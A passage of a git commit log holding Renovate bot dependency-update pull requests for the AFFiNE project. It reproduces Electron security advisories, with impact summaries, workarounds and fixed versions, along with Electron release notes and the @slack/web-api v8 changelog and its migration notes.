[https://github.com/electron/electron/releases/tag/v42.0.0-beta.1](https://redirect.github.com/electron/electron/releases/tag/v42.0.0-beta.1)
-
[https://github.com/advisories/GHSA-4f78-qhmw-8j8m](https://redirect.github.com/advisories/GHSA-4f78-qhmw-8j8m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-4f78-qhmw-8j8m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Sandboxed iframe can bypass the allow-popups restriction
via the OpenURL navigation path
[CVE-2026-70608](https://nvd.nist.gov/vuln/detail/CVE-2026-70608) /
[GHSA-9f4c-93c8-jc8g](https://redirect.github.com/advisories/GHSA-9f4c-93c8-jc8g)

<details>
<summary>More information</summary>

#### Details
##### Impact
A sandboxed iframe without the `allow-popups` keyword could still open a
new window (or trigger `setWindowOpenHandler`) with no user interaction,
because new-window navigations taking the OpenURL path did not apply the
iframe sandbox popup restriction.

Apps that embed untrusted content in sandboxed iframes and rely on the
absence of `allow-popups` to prevent window creation are affected. Apps
that deny window creation in `setWindowOpenHandler`, or that do not
embed untrusted content in sandboxed iframes, are not affected.

##### Workarounds
Return `{ action: 'deny' }` from `setWindowOpenHandler` for any content
you do not trust, rather than relying on the iframe sandbox alone.

##### Fixed Versions
* `42.0.1`
* `41.10.3`
* `39.8.10`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 7.2 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-9f4c-93c8-jc8g](https://redirect.github.com/electron/electron/security/advisories/GHSA-9f4c-93c8-jc8g)
-
[https://github.com/electron/electron/pull/51437](https://redirect.github.com/electron/electron/pull/51437)
-
[https://github.com/electron/electron/pull/51438](https://redirect.github.com/electron/electron/pull/51438)
-
[https://github.com/electron/electron/pull/51439](https://redirect.github.com/electron/electron/pull/51439)
-
[https://github.com/electron/electron/commit/3ff23c52ab364a0afc6ab5bd7851291d3159de57](https://redirect.github.com/electron/electron/commit/3ff23c52ab364a0afc6ab5bd7851291d3159de57)
-
[https://github.com/electron/electron/commit/57cbe329c4ae8aab5ac5ebdcb588adc9a11de0d3](https://redirect.github.com/electron/electron/commit/57cbe329c4ae8aab5ac5ebdcb588adc9a11de0d3)
-
[https://github.com/electron/electron/commit/68cf8b7d9122260f6b534a69a82c701a56cf159f](https://redirect.github.com/electron/electron/commit/68cf8b7d9122260f6b534a69a82c701a56cf159f)
-
[https://github.com/electron/electron/releases/tag/v39.8.10](https://redirect.github.com/electron/electron/releases/tag/v39.8.10)
-
[https://github.com/electron/electron/releases/tag/v41.10.3](https://redirect.github.com/electron/electron/releases/tag/v41.10.3)
-
[https://github.com/electron/electron/releases/tag/v42.0.1](https://redirect.github.com/electron/electron/releases/tag/v42.0.1)
-
[https://github.com/advisories/GHSA-9f4c-93c8-jc8g](https://redirect.github.com/advisories/GHSA-9f4c-93c8-jc8g)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-9f4c-93c8-jc8g)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: contextBridge object copy honors prototype setters
[CVE-2026-70610](https://nvd.nist.gov/vuln/detail/CVE-2026-70610) /
[GHSA-ff2p-hmqr-hxm4](https://redirect.github.com/advisories/GHSA-ff2p-hmqr-hxm4)

<details>
<summary>More information</summary>

#### Details
##### Impact
Objects copied across the `contextBridge` boundary from untrusted
content could carry an attacker-influenced prototype, enabling
prototype-pollution-style attacks against preload code despite context
isolation being enabled.

Apps are only affected if their preload code accepts object arguments
from untrusted content and reads properties from them without
own-property checks. Apps that only accept primitive arguments, or that
validate object arguments, are not affected.

##### Workarounds
Validate objects received from untrusted content with own-property
checks (`Object.hasOwn`), or copy them onto a null-prototype object
before use.

##### Fixed Versions
* `42.0.0-beta.4`
* `41.2.2`
* `40.9.2`
* `39.8.9`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.4 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-ff2p-hmqr-hxm4](https://redirect.github.com/electron/electron/security/advisories/GHSA-ff2p-hmqr-hxm4)
-
[https://github.com/electron/electron/pull/51083](https://redirect.github.com/electron/electron/pull/51083)
-
[https://github.com/electron/electron/pull/51084](https://redirect.github.com/electron/electron/pull/51084)
-
[https://github.com/electron/electron/pull/51085](https://redirect.github.com/electron/electron/pull/51085)
-
[https://github.com/electron/electron/pull/51086](https://redirect.github.com/electron/electron/pull/51086)
-
[https://github.com/electron/electron/commit/17d5d26499cd279fab48f5f26527f8edc02a7713](https://redirect.github.com/electron/electron/commit/17d5d26499cd279fab48f5f26527f8edc02a7713)
-
[https://github.com/electron/electron/commit/23a6efb714dec80e2cf45d3054d18d701162e4dd](https://redirect.github.com/electron/electron/commit/23a6efb714dec80e2cf45d3054d18d701162e4dd)
-
[https://github.com/electron/electron/commit/4ac50292d552fb510eb778392620c85308770a55](https://redirect.github.com/electron/electron/commit/4ac50292d552fb510eb778392620c85308770a55)
-
[https://github.com/electron/electron/commit/5b699544cbbed51bedb7c60d75c8c42be5825737](https://redirect.github.com/electron/electron/commit/5b699544cbbed51bedb7c60d75c8c42be5825737)
-
[https://github.com/electron/electron/releases/tag/v39.8.9](https://redirect.github.com/electron/electron/releases/tag/v39.8.9)
-
[https://github.com/electron/electron/releases/tag/v40.9.2](https://redirect.github.com/electron/electron/releases/tag/v40.9.2)
-
[https://github.com/electron/electron/releases/tag/v41.2.2](https://redirect.github.com/electron/electron/releases/tag/v41.2.2)
-
[https://github.com/electron/electron/releases/tag/v42.0.0-beta.4](https://redirect.github.com/electron/electron/releases/tag/v42.0.0-beta.4)
-
[https://github.com/advisories/GHSA-ff2p-hmqr-hxm4](https://redirect.github.com/advisories/GHSA-ff2p-hmqr-hxm4)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-ff2p-hmqr-hxm4)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: DevTools embedder handler executes arbitrary files via
shell open
[CVE-2026-70611](https://nvd.nist.gov/vuln/detail/CVE-2026-70611) /
[GHSA-f2r8-jv7c-xqmp](https://redirect.github.com/advisories/GHSA-f2r8-jv7c-xqmp)

<details>
<summary>More information</summary>

#### Details
##### Impact
The DevTools "reveal in file manager" action could launch the target
file rather than reveal it. An attacker with a separate means of running
script inside the DevTools frontend (such as a malicious DevTools
extension) could use this to execute native code outside the sandbox.

Apps are only affected if DevTools is opened for windows exposed to
untrusted content or untrusted DevTools extensions. Apps that do not
open DevTools in that context are not affected.

##### Workarounds
Do not open DevTools for windows that load untrusted content, and do not
load untrusted DevTools extensions.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.2`
* `39.8.9`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-f2r8-jv7c-xqmp](https://redirect.github.com/electron/electron/security/advisories/GHSA-f2r8-jv7c-xqmp)
-
[https://github.com/electron/electron/pull/50937](https://redirect.github.com/electron/electron/pull/50937)
-
[https://github.com/electron/electron/pull/50938](https://redirect.github.com/electron/electron/pull/50938)
-
[https://github.com/electron/electron/pull/51114](https://redirect.github.com/electron/electron/pull/51114)
-
[https://github.com/electron/electron/pull/51115](https://redirect.github.com/electron/electron/pull/51115)
-
[https://github.com/electron/electron/commit/10fb5b39c5287f70c4bbcab4c24197f3871ec322](https://redirect.github.com/electron/electron/commit/10fb5b39c5287f70c4bbcab4c24197f3871ec322)
-
[https://github.com/electron/electron/commit/27bf1cae9274d5025684c7268496f435b7e06b44](https://redirect.github.com/electron/electron/commit/27bf1cae9274d5025684c7268496f435b7e06b44)
-
[https://github.com/electron/electron/commit/7a1eb7e5585991b3726cedb890a6244f327f43de](https://redirect.github.com/electron/electron/commit/7a1eb7e5585991b3726cedb890a6244f327f43de)
-
[https://github.com/electron/electron/releases/tag/v39.8.9](https://redirect.github.com/electron/electron/releases/tag/v39.8.9)
-
[https://github.com/electron/electron/releases/tag/v40.9.2](https://redirect.github.com/electron/electron/releases/tag/v40.9.2)
-
[https://github.com/electron/electron/releases/tag/v41.2.1](https://redirect.github.com/electron/electron/releases/tag/v41.2.1)
-
[https://github.com/electron/electron/releases/tag/v42.0.0-beta.3](https://redirect.github.com/electron/electron/releases/tag/v42.0.0-beta.3)
-
[https://github.com/advisories/GHSA-f2r8-jv7c-xqmp](https://redirect.github.com/advisories/GHSA-f2r8-jv7c-xqmp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-f2r8-jv7c-xqmp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Sandboxed iframes can launch external protocol handlers
[CVE-2026-70612](https://nvd.nist.gov/vuln/detail/CVE-2026-70612) /
[GHSA-p2rr-rvmm-c5fp](https://redirect.github.com/advisories/GHSA-p2rr-rvmm-c5fp)

<details>
<summary>More information</summary>

#### Details
##### Impact
Requests to open external protocol URLs from web content did not take
iframe sandbox restrictions into account, so a sandboxed iframe could
cause an OS-registered external application to be launched. The frame's
sandbox state was also not made available to the app's permission
handlers.

Apps are only affected if they render untrusted content in sandboxed
iframes and grant the `openExternal` permission (granted by default when
no `setPermissionRequestHandler` is installed). Apps whose permission
handler denies `openExternal` for untrusted content are not affected.

##### Workarounds
Install a `setPermissionRequestHandler` that denies the `openExternal`
permission for untrusted content.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.4 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-p2rr-rvmm-c5fp](https://redirect.github.com/electron/electron/security/advisories/GHSA-p2rr-rvmm-c5fp)
-
[https://github.com/electron/electron/pull/50961](https://redirect.github.com/electron/electron/pull/50961)
-
[https://github.com/electron/electron/pull/50962](https://redirect.github.com/electron/electron/pull/50962)
-
[https://github.com/electron/electron/pull/50963](https://redirect.github.com/electron/electron/pull/50963)
-
[https://github.com/electron/electron/pull/50964](https://redirect.github.com/electron/electron/pull/50964)
-
[https://github.com/electron/electron/commit/08b9d0a220e267d1a2402a44bdd01a2e9aa320b5](https://redirect.github.com/electron/electron/commit/08b9d0a220e267d1a2402a44bdd01a2e9aa320b5)
-
[https://github.com/electron/electron/commit/2764e4c35168855f614876051823db4f58a3714a](https://redirect.github.com/electron/electron/commit/2764e4c35168855f614876051823db4f58a3714a)
-
[https://github.com/electron/electron/commit/477dcf7afc6550715f9ec5e6f39ee38e5dd7bf39](https://redirect.github.com/electron/electron/commit/477dcf7afc6550715f9ec5e6f39ee38e5dd7bf39)
-
[https://github.com/electron/electron/commit/c39e3d5687d57434c8d5fe814c5152efd2f631c3](https://redirect.github.com/electron/electron/commit/c39e3d5687d57434c8d5fe814c5152efd2f631c3)
-
[https://github.com/electron/electron/releases/tag/v39.8.8](https://redirect.github.com/electron/electron/releases/tag/v39.8.8)
-
[https://github.com/electron/electron/releases/tag/v40.9.0](https://redirect.github.com/electron/electron/releases/tag/v40.9.0)
-
[https://github.com/electron/electron/releases/tag/v41.2.1](https://redirect.github.com/electron/electron/releases/tag/v41.2.1)
-
[https://github.com/electron/electron/releases/tag/v42.0.0-beta.3](https://redirect.github.com/electron/electron/releases/tag/v42.0.0-beta.3)
-
[https://github.com/advisories/GHSA-p2rr-rvmm-c5fp](https://redirect.github.com/advisories/GHSA-p2rr-rvmm-c5fp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-p2rr-rvmm-c5fp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>electron/electron (electron)</summary>

###
[`v39.8.10`](https://redirect.github.com/electron/electron/releases/tag/v39.8.10):
electron v39.8.10

[Compare
Source](https://redirect.github.com/electron/electron/compare/v39.8.9...v39.8.10)

### Release Notes for v39.8.10

> \[!WARNING]
> Electron 39.x.y has reached end-of-support as per the project's
[support
policy](https://www.electronjs.org/docs/latest/tutorial/electron-timelines#version-support-policy).
Developers and applications are encouraged to upgrade to a newer version
of Electron.

#### Fixes

- Ensured cross-origin `fetch()` and XHR are blocked for custom
protocols registered with `supportFetchAPI: true` unless `corsEnabled:
true` is also set; cross-origin `mode: 'no-cors'` requests now receive
an opaque response.
[#&#8203;51272](https://redirect.github.com/electron/electron/pull/51272)
<sup>(Also in
[40](https://redirect.github.com/electron/electron/pull/51271),
[41](https://redirect.github.com/electron/electron/pull/51270),
[42](https://redirect.github.com/electron/electron/pull/51269))</sup>
- Fixed an issue where the Squirrel.Mac installer could resolve the
target bundle path to different locations at different stages of an
install.
[#&#8203;50766](https://redirect.github.com/electron/electron/pull/50766)
<sup>(Also in
[42](https://redirect.github.com/electron/electron/pull/50765))</sup>

#### Other Changes

- Backported a fix for route\_id validation in the GPU command buffer.
[#&#8203;51327](https://redirect.github.com/electron/electron/pull/51327)
- Backported security fixes for
[`4933194`](https://redirect.github.com/electron/electron/commit/493319454),
[`4941583`](https://redirect.github.com/electron/electron/commit/494158331),
[`4932347`](https://redirect.github.com/electron/electron/commit/493234757),
[`4927361`](https://redirect.github.com/electron/electron/commit/492736100),
[`4934134`](https://redirect.github.com/electron/electron/commit/493413432),
[`4926688`](https://redirect.github.com/electron/electron/commit/492668885),
[`4962818`](https://redirect.github.com/electron/electron/commit/496281816).
[#&#8203;51257](https://redirect.github.com/electron/electron/pull/51257)
- Backported several fixes in Skia, ANGLE, and WebRTC from upstream.
[#&#8203;51266](https://redirect.github.com/electron/electron/pull/51266)

###
[`v39.8.9`](https://redirect.github.com/electron/electron/releases/tag/v39.8.9):
electron v39.8.9

[Compare
Source](https://redirect.github.com/electron/electron/compare/v39.8.8...v39.8.9)

### Release Notes for v39.8.9

#### Other Changes

- Fixed `gn gen` failing to resolve `electron_version` when building
from a `git worktree` checkout.
[#&#8203;51163](https://redirect.github.com/electron/electron/pull/51163)
<sup>(Also in
[40](https://redirect.github.com/electron/electron/pull/51164),
[41](https://redirect.github.com/electron/electron/pull/51165),
[42](https://redirect.github.com/electron/electron/pull/51166))</sup>
- Security: backported fixes for CVE-2026-6296, CVE-2026-6297,
CVE-2026-6298, CVE-2026-6299, CVE-2026-6300, CVE-2026-6301,
CVE-2026-6302, CVE-2026-6303, CVE-2026-6304, CVE-2026-6305,
CVE-2026-6306, CVE-2026-6307, CVE-2026-6308, CVE-2026-6309,
CVE-2026-6311, CVE-2026-6312, CVE-2026-6313, CVE-2026-6314,
CVE-2026-6316, CVE-2026-6318, CVE-2026-6358, CVE-2026-6359,
CVE-2026-6360, CVE-2026-6361, CVE-2026-6362, CVE-2026-6363,
CVE-2026-6364.
[#&#8203;51141](https://redirect.github.com/electron/electron/pull/51141)

###
[`v39.8.8`](https://redirect.github.com/electron/electron/releases/tag/v39.8.8):
electron v39.8.8

[Compare
Source](https://redirect.github.com/electron/electron/compare/v39.8.7...v39.8.8)

### Release Notes for v39.8.8

#### Fixes

- Fixed an issue where DevTools would re-attach to the window when
opened after previously being detached.
[#&#8203;50818](https://redirect.github.com/electron/electron/pull/50818)
<sup>(Also in
[40](https://redirect.github.com/electron/electron/pull/50817),
[41](https://redirect.github.com/electron/electron/pull/50816),
[42](https://redirect.github.com/electron/electron/pull/50815))</sup>

#### Other Changes

- Backported fix for
[chromium:74266014](https://issues.chromium.org/issues/474266014).
[#&#8203;50175](https://redirect.github.com/electron/electron/pull/50175)
- Backported upstream v8 fixes for several maglev, inspector, and arm64
code-generation edge cases.
[#&#8203;50993](https://redirect.github.com/electron/electron/pull/50993)

###
[`v39.8.7`](https://redirect.github.com/electron/electron/releases/tag/v39.8.7):
electron v39.8.7

[Compare
Source](https://redirect.github.com/electron/electron/compare/v39.8.6...v39.8.7)

### Release Notes for v39.8.7

#### Other Changes

- Backported fix for
[`4897116`](https://redirect.github.com/electron/electron/commit/489711638).
[#&#8203;50624](https://redirect.github.com/electron/electron/pull/50624)
- Backported fix for
[`4939526`](https://redirect.github.com/electron/electron/commit/493952652).
[#&#8203;50620](https://redirect.github.com/electron/electron/pull/50620)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-08 02:57:35 +08:00
renovate[bot] 921e83bb4f chore: bump up @atlaskit/pragmatic-drag-and-drop-auto-scroll version to v3 (#15396)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@atlaskit/pragmatic-drag-and-drop-auto-scroll](https://atlassian.design/components/pragmatic-drag-and-drop/)
([source](https://redirect.github.com/atlassian/pragmatic-drag-and-drop))
| [`^2.1.2` →
`^3.0.0`](https://renovatebot.com/diffs/npm/@atlaskit%2fpragmatic-drag-and-drop-auto-scroll/2.1.2/3.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@atlaskit%2fpragmatic-drag-and-drop-auto-scroll/3.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@atlaskit%2fpragmatic-drag-and-drop-auto-scroll/2.1.2/3.0.0?slim=true)
|

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-05 19:26:53 +08:00
renovate[bot] 8df82901ea chore: bump up @slack/web-api version to v8 (#15405)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@slack/web-api](https://docs.slack.dev/tools/node-slack-sdk/web-api/)
([source](https://redirect.github.com/slackapi/node-slack-sdk)) |
[`^7.15.1` →
`^8.0.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.15.1/8.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@slack%2fweb-api/8.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@slack%2fweb-api/7.15.1/8.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>slackapi/node-slack-sdk (@&#8203;slack/web-api)</summary>

###
[`v8.0.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%408.0.0)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.19.0...@slack/web-api@8.0.0)

##### Major Changes

-
[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c):
Drop Node.js 18 support. The minimum supported Node.js version is now
20.

-
[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c):
Redesigned error handling to use proper `Error` subclasses instead of
plain objects with a `code` property.

**Migration:** Replace `if (error.code === ErrorCode.PlatformError)`
with `if (error instanceof WebAPIPlatformError)`. All error classes
extend a common `SlackError` base class (which extends `Error`), so you
can also catch all SDK errors with `if (error instanceof SlackError)`.

  **New error class hierarchy:**

  - `SlackError` (abstract base)
    - `WebAPIPlatformError` — Slack API returned `ok: false`
- `WebAPIRequestError` — Network/transport failure (original error in
`cause`)
    - `WebAPIHTTPError` — Non-200 HTTP status from Slack
    - `WebAPIRateLimitedError` — HTTP 429 with `retryAfter` seconds
- `WebAPIFileUploadInvalidArgumentsError` — Invalid file upload
arguments
- `WebAPIFileUploadReadFileDataError` — Failed to read file data for
upload

**Removed factory functions** (these were internal but exported — use
`new` with the corresponding class instead):

  - `errorWithCode()`
  - `platformErrorFromResult()` → `new WebAPIPlatformError(...)`
  - `requestErrorWithOriginal()` → `new WebAPIRequestError(...)`
  - `httpErrorFromResponse()` → `new WebAPIHTTPError(...)`
  - `rateLimitedErrorWithDelay()` → `new WebAPIRateLimitedError(...)`

  **Other breaking type changes:**

- `WebAPIHTTPError.headers` type changed from `IncomingHttpHeaders` to
`Record<string, string>`.
- The `CodedError` interface is deprecated — use `instanceof` checks
with specific error classes instead.
- Error `.name` values changed from generic `'Error'` to descriptive
class names (e.g., `'WebAPIPlatformError'`).

-
[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c):
Replaced `axios` with the standard Fetch API for all HTTP transport. The
following options and types have been removed from `WebClientOptions`:

- **`agent`** — Use the new `fetch` option to provide a custom fetch
implementation with proxy or keep-alive support. For proxies, prefer the
built-in `http.setGlobalProxyFromEnv()` or `NODE_USE_ENV_PROXY=1`
(Node.js 24+). For advanced use cases:
    ```ts
    import { fetch, Agent } from "undici";
    const client = new WebClient(token, {
      fetch: (url, init) =>
        fetch(url, {
          ...init,
          dispatcher: new Agent({ keepAliveTimeout: 60_000 }),
        }),
    });
    ```
- **`tls`** and **`TLSOptions`** — Configure TLS via a custom `fetch`
implementation with an undici `Agent`, or use the `NODE_EXTRA_CA_CERTS`
environment variable.
- **`requestInterceptor`** and **`RequestInterceptor`** type — Wrap the
`fetch` function to intercept or modify requests before they are sent.
- **`adapter`** and **`AdapterConfig`** type — Use the `fetch` option
instead.
- **`RequestConfig`** type (was an alias for Axios'
`InternalAxiosRequestConfig`) — Removed entirely.
- **`attachOriginalToWebAPIRequestError`** option — Removed. The
original error is now always available via the standard `cause` property
on `WebAPIRequestError`.

The dependencies `axios`, `form-data`, `is-electron`, and `is-stream`
have been removed. The default `fetch` implementation is
`globalThis.fetch` (available in Node.js 20+).

New exported types for custom fetch implementations: `FetchFunction`,
`FetchResponse`, `FetchRequestInit`, `FetchHeaders`.

-
[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c):
Removed previously-deprecated API methods and their associated
request/response types:

- **`files.upload`** — Use `filesUploadV2` instead (available since
v6.7). The `filesUploadV2` method handles the multi-step upload process
automatically.
- **`rtm.start`** — Use `rtm.connect` instead. The `rtm.start` method
was deprecated by Slack in favor of the lighter-weight `rtm.connect`.
- **`workflows.stepCompleted`**, **`workflows.stepFailed`**,
**`workflows.updateStep`** — These methods supported the retired [Steps
from
Apps](https://api.slack.com/changelog/2023-08-workflow-steps-from-apps-step-back)
feature (deprecated August 2023, retired September 2024). The
`workflows.featured.*` and `admin.workflows.*` methods for the current
Workflow Builder remain available.

##### Minor Changes

-
[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c):
feat: expand app manifest types — add `agent_view` and `assistant_view`
features, recent agent events (`app_context_changed`,
`assistant_thread_started`, `assistant_thread_context_changed`),
optional OAuth scopes (`bot_optional`/`user_optional`), and event
`metadata_subscriptions`

##### Patch Changes

-
[`bb49d99`](https://redirect.github.com/slackapi/node-slack-sdk/commit/bb49d99):
fix: apply redact() to API response bodies in debug logs and recurse
into nested objects, preventing tokens from leaking into logs when debug
logging is enabled
- Updated dependencies
\[[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c)]
- Updated dependencies
\[[`fc98c8c`](https://redirect.github.com/slackapi/node-slack-sdk/commit/fc98c8c)]
-
[@&#8203;slack/logger](https://redirect.github.com/slack/logger)@&#8203;5.0.0
-
[@&#8203;slack/types](https://redirect.github.com/slack/types)@&#8203;3.0.0

###
[`v7.19.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.19.0)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.18.0...@slack/web-api@7.19.0)

##### Minor Changes

-
[`a795b86`](https://redirect.github.com/slackapi/node-slack-sdk/commit/a795b86):
feat: expand app manifest types — add `agent_view` and `assistant_view`
features, recent agent events (`app_context_changed`,
`assistant_thread_started`, `assistant_thread_context_changed`),
optional OAuth scopes (`bot_optional`/`user_optional`), and event
`metadata_subscriptions`

###
[`v7.18.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.18.0)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.17.0...@slack/web-api@7.18.0)

##### Minor Changes

-
[`07744de`](https://redirect.github.com/slackapi/node-slack-sdk/commit/07744de):
feat: make `thread_ts` optional for
`assistant.threads.setSuggestedPrompts`

###
[`v7.17.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.17.0)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.16.0...@slack/web-api@7.17.0)

##### Minor Changes

-
[`2085900`](https://redirect.github.com/slackapi/node-slack-sdk/commit/2085900):
feat: expose public read-only `ts` getter on `ChatStreamer` for fallback
to [`chat.update`](https://docs.slack.dev/reference/methods/chat.update)
when a stream expires server-side

  ```js
  import { WebClient } from "@&#8203;slack/web-api";

  const client = new WebClient(process.env.SLACK_BOT_TOKEN);

  const streamer = client.chatStream({
    channel: "C0123456789",
    thread_ts: "1700000001.123456",
    recipient_team_id: "T0123456789",
    recipient_user_id: "U0123456789",
  });

  await streamer.append({ markdown_text: "hello!" });
  // streamer.ts is now set after the first flush
  console.log(streamer.ts);

  await streamer.stop();
  ```

###
[`v7.16.0`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.16.0)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.15.2...@slack/web-api@7.16.0)

##### Minor Changes

-
[`2814969`](https://redirect.github.com/slackapi/node-slack-sdk/commit/2814969):
feat: add `highlight_type` to
[`files.completeUploadExternal`](https://docs.slack.dev/reference/methods/files.completeUploadExternal)
and
[`filesUploadV2`](https://docs.slack.dev/tools/node-slack-sdk/web-api#upload-a-file)
for optimistic rendering

  ```js
  import { WebClient } from "@&#8203;slack/web-api";

  const client = new WebClient(process.env.SLACK_BOT_TOKEN);

  await client.filesUploadV2({
    channel_id: "C0123456789",
    file: "./image.png",
    filename: "image.png",
    title: "Image Upload",
    highlight_type: "png",
  });
  ```

###
[`v7.15.2`](https://redirect.github.com/slackapi/node-slack-sdk/releases/tag/%40slack/web-api%407.15.2)

[Compare
Source](https://redirect.github.com/slackapi/node-slack-sdk/compare/@slack/web-api@7.15.1...@slack/web-api@7.15.2)

##### Patch Changes

-
[`4b6fe3a`](https://redirect.github.com/slackapi/node-slack-sdk/commit/4b6fe3a):
feat: add authorship arguments - `icon_emoji`, `icon_url`, and
`username` - to the
[`assistant.threads.setStatus`](https://docs.slack.dev/reference/methods/assistant.threads.setStatus/)
and
[`chat.startStream`](https://docs.slack.dev/reference/methods/chat.startStream/)
methods
- Updated dependencies
\[[`4f03ee8`](https://redirect.github.com/slackapi/node-slack-sdk/commit/4f03ee8)]
-
[@&#8203;slack/types](https://redirect.github.com/slack/types)@&#8203;2.21.0

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

